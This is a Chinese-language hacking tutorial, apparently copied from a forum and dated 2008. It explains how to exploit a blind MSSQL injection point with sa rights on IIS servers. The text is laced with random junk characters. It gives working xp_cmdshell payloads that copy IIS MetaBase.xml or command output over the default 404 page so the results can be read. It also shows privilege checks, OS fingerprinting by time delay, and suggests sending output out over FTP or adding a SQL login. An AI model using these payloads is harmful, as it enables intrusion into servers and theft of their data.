遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。/ {1 p5 I# ^0 R2 N) K4 Q' o
6 T3 {2 v8 n% v8 Y9 ~* ~* R
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
3 P* `3 m( t$ \* u# ?3 u/ H
4 `3 n0 r; t4 N 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。6 T! |2 X) H2 M+ m- [
/ h7 }9 C) ~: v9 ]. C& A
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
' ~ S3 w) R/ V/ Q% f0 e' S/ G1 W i! |
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
% Y$ G |; J7 X [% q! ]! c; K- v
0 s* L! f @/ a3 p6 N ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。# x; C+ ?+ y2 l/ [9 K* H8 ?
2 z* w- ]0 A% k" I$ V- L' C0 Y
执行命令得到回显" N, |$ L4 M+ }) x
; Q6 s) q; }* o" P# G
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
( k9 j& r* _3 J% y1 h' R+ t; }9 [+ z; L9 _, B: a
得到文件也shi相同,把文件copy到404b.htm就行了
7 e5 l1 h' m3 @9 z! S
+ m+ e6 s8 s3 d' ~* ] by 28ice, 2008/6/26
7 z% H$ }3 b5 E
9 c6 c! W* t3 S( a( _( x 摘自 28度的冰+ _- D% B' }- O' r$ I. H
9 V3 K6 h, N2 ^ 盲注判断权限和操作系统版本$ V8 M0 l4 l. I* w
" F4 ~% A; ?# G2 s( ~0 Y% v
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?' c" O& E& S, w9 [( a4 w# o+ a
2 V w$ i* W* R+ S/ q# ?5 o0 Z" [
最简单的,可能以用这样的方法:, J# y) u1 k: @- ?3 q
" X4 ?# x: d+ o 1=(select IS_SRVROLEMEMBER(’sysadmin’))! J) M* a |* u/ H$ T
$ s" W) ~: I' a+ o- d
当然,有些情况下,这个方法并不奏效。) c5 c& ^/ U _2 ?# m
' [& H/ R8 ~6 m8 v& a
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。8 V2 m9 w" I/ j! m
- e) r$ l8 e# W5 x4 \7 s) q 有个3办法可能以解决这个问题
* @( [2 O7 T r! y N+ l M1 c- u. L1 r' _7 s. J2 ~& d7 \
a.把执行结果写到404b.htm,具体请看我的上一篇文章
( _' `. m: N) F6 Q/ l
/ f! L5 M4 p" z. d, {; P; m b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟7 E* R1 s' W" a
1 Y7 M. Q v8 Q$ U1 ` J$ v' T
c.如果1433端口可能以连接,那干脆新建个sql登录
' A2 L) u) ], @, A4 Z# _+ R7 N e. }7 B, G; L9 \5 u3 |
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
1 H3 P8 k) K' o! l& |; c
2 d6 u6 Y j/ e+ @ j# O) o H 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下; m+ {) z# E* K& m5 U. F
% o0 j* I& J( C$ i% D- K& e! @ 很简单
- L. T& Z4 O r! x0 t4 X5 S, V; x+ ~. ~
执行systeminfo* L3 L) {1 K6 I; \8 l9 B8 V5 k2 ]2 C
. V3 A' a" U$ y& E/ o$ g/ a 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |